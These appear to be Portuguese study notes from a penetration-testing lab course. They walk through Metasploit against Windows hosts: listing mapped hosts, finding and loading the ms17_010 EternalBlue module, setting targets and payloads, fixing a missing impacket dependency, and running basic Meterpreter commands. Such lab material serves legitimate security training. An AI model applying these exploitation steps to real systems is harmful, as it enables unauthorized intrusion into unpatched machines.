

Explorando Vulnerabilidades no Windows

+ Se dermos um comando hosts no metasploit, veremos a lista dos hosts que mapeamos

```
msf5 > hosts

Hosts
=====

address      mac      name      os_name      os_flavor      os_sp      purpose      info      comments
-----
172.16.1.4      WKS01      Windows XP
172.16.1.5      Unknown
172.16.1.7      Linux
172.16.1.60     SRVINT     Windows 2008 R2 Enterprise server
172.16.1.107    Unknown device
172.16.1.140     SRVAD      Windows 2012 R2 Datacenter server
172.16.1.145     USUARIO-PC Windows 7 Ultimate SP1 client
172.16.1.165     Unknown device
172.16.1.233     SRVSPIDER Windows 2012 R2 Datacenter server
172.16.1.241     Unknown device
172.16.1.243     Unknown device
172.16.1.248     Unknown device
```

+ Com essas info armazenadas, podemos pesquisar pelas vulnerabilidades de maneira automática

→ Basta digitar **vulns** que vão aparecer as vulnerabilidades correspondentes

+ Encontrada alguma vulnerabilidade como, por exemplo, o ms17-010, podemos pesquisar da seguinte maneira:

search ms17_010

+ Para ver informações acerca do exploit:

info <nome do exploit>

+ Se quisermos usá-lo:

use <nome do exploit>

+ Para verificarmos as opções que devemos preencher, usamos o show options

+ Para setar um RHOSTS (endereço a ser atacado), usamos set RHOSTS 172.16.1.108

+ Para ver os payloads disponíveis, devemos show payloads (ou)

set payloadf

+ Para escolher usar um deles

set payload <nome do payload>

+ Pode acontecer de faltar algumas dependências necessárias para executar o payload, como no caso abaixo

```
msf5 exploit(windows/smb/ms17_010_eternalblue_win8) > exploit

[*] Started reverse TCP handler on 172.20.1.166:4444
[-] Module dependencies (impacket) missing, cannot continue
[-] Exploit aborted due to failure: unknown: Module exited abnormally
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/ms17_010_eternalblue_win8) >
```

+ Pesquisas no terminal de dependências e pacotes

```
root@pentesting:/home/desec# apt search impacket
Sorting... Done
Full Text Search... Done
impacket-scripts/kali-rolling 1.3 all
  Links to useful impacket scripts examples

polenum/kali-rolling 1.6-1 all
  Extracts the password policy from a Windows system

python-impacket/kali-rolling 0.9.20-4 all
  Python module to easily build and dissect network protocols

python-pcap/kali-rolling 0.11.4-1-kali2 amd64
  Python interface to the libpcap packet capture library (Python 2)

python3-impacket/kali-rolling 0.9.20-4 all
  Python3 module to easily build and dissect network protocols

python3-pcap/kali-rolling 0.11.4-1-kali2 amd64
  Python interface to the libpcap packet capture library (Python 3)

root@pentesting:/home/desec#
```

- + Se usarmos com êxito algum payload do meterpreter, poderemos
 - Saber informações do sistema com
sysinfo
 - Saber quais programas e aplicações estão rodando na máquina com
ps
 - Saber toda as opções que existem pro meterpreter:
help